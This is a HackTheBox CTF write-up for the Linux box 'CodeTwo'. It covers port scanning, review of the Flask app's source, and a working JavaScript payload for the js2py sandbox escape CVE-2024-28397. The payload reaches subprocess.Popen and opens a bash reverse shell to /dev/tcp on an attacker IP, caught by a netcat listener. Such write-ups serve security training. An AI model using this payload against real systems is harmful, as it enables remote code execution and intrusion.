HackTheBox: CodeTwo Write-up
Box: CodeTwo
OS: Linux
Difficulty: Easy
Executive Summary
CodeTwo is an Easy-rated Linux box that demonstrates real-world vulnerabilities in web applications. The attack chain involves exploiting a JavaScript sandbox escape vulnerability (CVE-2024-28397) in the js2py library to gain initial access, followed by credential reuse for lateral movement and sudo misconfiguration for privilege escalation.
Port Scanning
We begin with a comprehensive nmap scan to identify open services:
nmap -sV -sC 10.129.127.141
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open http Gunicorn 20.0.4
The scan reveals:
- SSH on port 22: Standard OpenSSH service (potential entry point if we find credentials)
- HTTP on port 8000: Gunicorn web server (Python WSGI HTTP Server)
Initial Access
Web Application Enumeration
Navigating to http://box-ip:8000
, we discover a web application called "CodeTwo" that offers:
- User registration and authentication
- An online JavaScript code editor
- Code snippet management features
After creating an account and logging in:
The application provides a JavaScript IDE where users can write and execute code:
Source Code Analysis
The application offers a download feature that provides app.zip
. Extracting and analyzing this file reveals the Flask application source code. Key findings from app.py
:
from flask import Flask, render_template, request, redirect, url_for, session, jsonify
import js2py
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
Critical Vulnerabilities Identified:
-
js2py Sandbox Escape (CVE-2024-28397): The application uses
js2py.eval_js()
to execute user-provided JavaScript. Despite callingjs2py.disable_pyimport()
, the library is vulnerable to sandbox escape in versions ≤ 0.74 on Python ≤ 3.11. -
Weak Password Hashing: MD5 is used for password storage (easily crackable)
-
Exposed Secret Key: The Flask secret key is hardcoded in the source
Exploiting CVE-2024-28397
CVE-2024-28397 is a sandbox escape vulnerability in js2py that allows attackers to break out of the JavaScript execution environment and execute Python code. The vulnerability exists because js2py doesn't properly isolate JavaScript objects from Python's object model.
How the Exploit Works:
- JavaScript objects in js2py maintain references to Python's internal structures
- Through
Object.getOwnPropertyNames
, we can access Python's__getattribute__
method - We traverse Python's class hierarchy using
__class__.__base__
- We locate the
subprocess.Popen
class - We execute system commands through Popen
Exploit Payload:
// CVE-2024-28397 → js2py sandbox escape → Popen → reverse shell
let cmd = "bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'";
let hacked, bymarve, n11;
let getattr, obj;
// Step 1: Access Python's internal attributes through JS objects
hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");
// Step 2: Get to Python's base object class
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;
// Step 3: Recursive function to find subprocess.Popen in Python's class hierarchy
function findpopen(o) {
let result;
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if (item.__name__ != "type" && (result = findpopen(item))) {
return result;
}
}
}
// Step 4: Execute the reverse shell command
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
"OK";
Before executing, set up a netcat listener:
nc -lvnp 4444
Execute the payload in the web application's code editor:
Successfully obtain a reverse shell as the app
user: